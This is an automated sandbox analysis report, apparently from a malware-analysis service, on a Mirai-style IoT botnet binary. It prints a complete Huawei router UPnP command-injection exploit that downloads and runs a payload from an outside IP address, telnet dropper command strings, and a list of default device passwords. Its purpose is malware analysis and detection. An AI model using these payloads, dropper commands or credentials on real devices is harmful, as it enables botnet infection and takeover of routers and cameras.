Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/rsJtZBgpwG.elf (PID: 5480)

Socket: 192.168.2.14:8888

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 197.137.197.243
Source: unknown	TCP traffic detected without corresponding DNS query: 197.150.60.243
Source: unknown	TCP traffic detected without corresponding DNS query: 156.129.215.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.62.234.103
Source: unknown	TCP traffic detected without corresponding DNS query: 197.172.82.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.22.8.23
Source: unknown	TCP traffic detected without corresponding DNS query: 156.5.157.97
Source: unknown	TCP traffic detected without corresponding DNS query: 156.182.203.125
Source: unknown	TCP traffic detected without corresponding DNS query: 41.204.214.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.255.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.161.47.162
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.83.147
Source: unknown	TCP traffic detected without corresponding DNS query: 41.236.198.95
Source: unknown	TCP traffic detected without corresponding DNS query: 197.232.113.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.17.167.241
Source: unknown	TCP traffic detected without corresponding DNS query: 156.43.122.92
Source: unknown	TCP traffic detected without corresponding DNS query: 156.231.211.64
Source: unknown	TCP traffic detected without corresponding DNS query: 197.117.239.45
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.194.206
Source: unknown	TCP traffic detected without corresponding DNS query: 41.224.51.184
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.160.104
Source: unknown	TCP traffic detected without corresponding DNS query: 41.186.58.182
Source: unknown	TCP traffic detected without corresponding DNS query: 156.73.176.14
Source: unknown	TCP traffic detected without corresponding DNS query: 41.7.172.29
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.202.34
Source: unknown	TCP traffic detected without corresponding DNS query: 41.117.220.87
Source: unknown	TCP traffic detected without corresponding DNS query: 197.44.240.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.7.143.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.68.154
Source: unknown	TCP traffic detected without corresponding DNS query: 41.205.14.22
Source: unknown	TCP traffic detected without corresponding DNS query: 156.165.196.119
Source: unknown	TCP traffic detected without corresponding DNS query: 156.76.35.164
Source: unknown	TCP traffic detected without corresponding DNS query: 156.24.206.200
Source: unknown	TCP traffic detected without corresponding DNS query: 41.114.20.185
Source: unknown	TCP traffic detected without corresponding DNS query: 156.218.179.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.136.135.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.53.139.110
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.248.155
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.207.86
Source: unknown	TCP traffic detected without corresponding DNS query: 156.36.9.56
Source: unknown	TCP traffic detected without corresponding DNS query: 41.24.178.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.239.226.40
Source: unknown	TCP traffic detected without corresponding DNS query: 156.250.70.236
Source: unknown	TCP traffic detected without corresponding DNS query: 41.20.204.217
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.169.189
Source: unknown	TCP traffic detected without corresponding DNS query: 41.0.127.129
Source: unknown	TCP traffic detected without corresponding DNS query: 41.185.117.166
Source: unknown	TCP traffic detected without corresponding DNS query: 156.243.133.195
Source: unknown	TCP traffic detected without corresponding DNS query: 41.253.163.98
Source: unknown	TCP traffic detected without corresponding DNS query: 156.37.55.251

Source: global traffic	HTTP traffic detected: GET /dlr.arm HTTP/1.0User-Agent: DLRGrabr
Source: global traffic	HTTP traffic detected: GET /dlr.arm7 HTTP/1.0User-Agent: DLRGrabr
Source: global traffic	HTTP traffic detected: GET /dlr.mips HTTP/1.0User-Agent: DLRGrabr
Source: global traffic	HTTP traffic detected: GET /dlr.mpsl HTTP/1.0User-Agent: DLRGrabr
Source: global traffic	HTTP traffic detected: GET /dlr.sh4 HTTP/1.0User-Agent: DLRGrabr

Source: global traffic	DNS traffic detected: DNS query: bigbootybots.libre
Source: global traffic	DNS traffic detected: DNS query: d00mstoleyourboat.pirate

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 3b 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 68 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: rsJtZBgpwG.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: rsJtZBgpwG.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5507, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5508, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5525, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5526, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5527, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5528, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5529, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5530, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5531, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5532, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5534, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5535, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5536, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5537, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5538, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5540, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5542, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5558, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5560, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5562, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5564, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5568, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5570, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5574, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5576, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5580, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5584, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5586, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5588, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5590, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5597, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5606, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5612, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5626, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5636, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5699, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5711, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox/var/Challenge/usr/sbin//usr/libsystemdvar/Kylin/var/Sofia/opt/topsee//sbin//mnt/home/hik/hicore/var/www/cgi-bin/admin_console_core.cgi/mnt/flash/bin/qrcode_decode_arm/mnt/flash/bin/Community_proxy_arm/usr/bin/lua/usr/bin/switchtelnetd/usr/bin/httpd/dev/upnp/tmp/vasdocker/bin//usr/share/ipcam/app/root/dvr_app/dvr_app/root/dvr_gui/dvr_gui/z/zbin/dvr_box/edvr//opt/www/cgi-bin/ping_test.cgiwifi_tools/hostapddoomsbind00msd4y./usr/share/ipcam/wifi_tools/hostapd/z/bin/mini_httpd/bin/telnetd/bin/msntp/bin/pc/z/bin/smartctl/z/zbin/IPC_Robot/main/edvr/lighttpd/lighttpd/usr/bin/upnpc/main/usr/sbin/dhcpd/usr/bin/sleepd00msd4y/usr/bin/ps/wget/tftp/ftpget/curl/reboot/echo/htop/top/pkill/bin/login/kill/busyboxaisuruzhrlzrd(deleted)dvr.arm.mips.mpsl.mipsel.sh4.x86.ppc.m68k/..suruHoserronildupdate.j.inyadongspizzaapepbuild./hbotmikawgetftprebootcurl/bash/lib/var//tmp//usr/devCipherMoziswiftcampsoraAquaboatnetboatCoronakbotfbottbot.miraimoobotBigBotPeinAndoryuAcidFridayOrfenCayosinCondiApexHiroshimaloki/logindvrLo
Source: Initial sample	String containing 'busybox' found: busybox: applet
Source: Initial sample	String containing 'busybox' found: /bin/busybox DOOMSDAY
Source: Initial sample	String containing 'busybox' found: BusyBox on
Source: Initial sample	String containing 'busybox' found: cat /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox ECHODROP
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname D00MSD4Y
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo > %s.tsu && cd %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox doomsbin; >doomsbin; /bin/busybox chmod 777 doomsbin
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget; /bin/busybox tftp; /bin/busybox echo; wget; tftp; echo; /bin/busybox DOOMSDAY
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://%s/%s%s -O doomsbin && chmod 777 doomsbin && ./doomsbin telnet.%s && %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cp /bin/busybox .m; >.m; /bin/busybox chmod 777 .m; %s
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s\c' %s .m && /bin/busybox echo '\x45\x43\x48\x4f\x44\x4f\x4e\x45\c'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .m && /bin/busybox echo -ne '\x45\x43\x48\x4f\x44\x4f\x4e\x45'
Source: Initial sample	String containing 'busybox' found: && /bin/busybox ECHODONE
Source: Initial sample	String containing 'busybox' found: ELFHTTPProxyLockedcloseddisconnected:oginsernamevrdvsccountenterasswordusyboxulti-call$#>WAPnvalidncorrectdeniedoodbyenauthorized accessonnection closeduthentication failed~applet not foundLast loginuilt-in shellogin incorrectailedeniedrrorbadsage: wgetsage: Wgetsage: tftpsage: Tftp[OPTIONS] HOST [PORT]DOOMSDAY: appletbusybox: appletapplet not...appletrocessorogoMIPStftp: socket: Permission deniedext file busyinfectedFINegmentation faultrrorllegalilledead onlyIRAIDOOMermission deniedlast timeouto such fileECHODONEECHODONEfaultegmentationARMv7ARMv6armv7/tmp//var//dev//mnt//var/run//var/tmp///dev/netslink//dev/shm//bin//etc//boot//usr//sys/bigbootybots.libre%d.%d.%d.%d
Source: Initial sample	String containing 'busybox' found: /bin/busybox DOOMSDAYtc loginPLACEHOLDERdnsekakf2$$xDSL Routeradmin123412345aquarioAdmin123456h@32LuyDroot192.0.0.64hikvisionguest123456789abc432100002222Hikvisiondvrdvs(none)zlxx.CUAdminicatch99vizxvjuantechantslq1001chinwin1dowsjvbzd123Sc8a1userUSER10937795500vstarcam201520150602ftpGM login:GM8182Welcome to Zhone TechnologieszhoneDD-WRTHOLDERelnettelnetsamsungopenwrt loginLocalHost loginxc3511xmhdipcklv123hi3518Huawei Homesupport!!Huawei@HuaweiHgwadminHWCUAdmin52847709123qweasdzxclnadmintelecomadminadmintelecomPon521adm1234intelecomATP CliBCMnE7jA%5mCenturyL1nkpassword362729263297administratorgvt12345superadminIs$uper@dminho4uku6atadmin1234admin01host login:20080826FG1060N loginHT-TM05 loginM2M loginNEXTAV loginSVWIFI loginTM01 loginTM02 loginWD02 loginWD-N2 loginWeZeeCard loginWiDisk loginWIFIUSB2 loginaigoWiFi loginShAirDisk loginzxicZxic521Zte521dm365-evmTL-WR75upnetween.co.krbabykopp loginkoppSwitchpremierF6H6vertex25ektks123Login authenticationtelecomWelcome to JNIORjniortiniheluyou loginUser Access Ve
Source: Initial sample	String containing 'busybox' found: ELFarm7arm/bin/busybox ECHODROP
Source: Initial sample	String containing 'busybox' found: d00msd4y./bin/busybox wget http://%s/%s%s -O doomsbin && chmod 777 doomsbin && ./doomsbin telnet.%s && %s
Source: Initial sample	String containing 'busybox' found: >>>/bin/busybox echo '%s\c' %s .m && /bin/busybox echo '\x45\x43\x48\x4f\x44\x4f\x4e\x45\c'
Source: Initial sample	String containing 'busybox' found: ./doomsbin telnet. && /bin/busybox ECHODONE
Source: Initial sample	String containing 'busybox' found: busybox wget http://%s/%s%s -O doomsbin && chmod 777 doomsbin && ./doomsbin telnet.%s && %s

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: service

Source: Initial sample	Potential command found: GET /dlr.arm HTTP/1.0
Source: Initial sample	Potential command found: GET /dlr.arm7 HTTP/1.0
Source: Initial sample	Potential command found: GET /dlr.%s HTTP/1.0
Source: Initial sample	Potential command found: GET /dlr.sh4 HTTP/1.0
Source: Initial sample	Potential command found: tc login
Source: Initial sample	Potential command found: cat /bin/busybox
Source: Initial sample	Potential command found: cat /proc/cpuinfo; %s

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5507, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5508, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5525, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5526, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5527, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5528, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5529, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5530, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5531, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5532, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5533, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5534, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5535, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5536, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5537, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5538, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5539, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5540, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5542, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5554, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5556, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5558, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5560, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5562, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5564, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5568, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5570, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5572, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5574, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5576, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5580, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5582, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5584, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5586, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5588, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5590, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5597, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5606, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5612, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5626, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5636, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5699, result: successful	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5493)	SIGKILL sent: pid: 5711, result: successful	Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/fd/	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/maps	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/rsJtZBgpwG.elf (PID: 5491)	File opened: /proc/3244/fd/	Jump to behavior
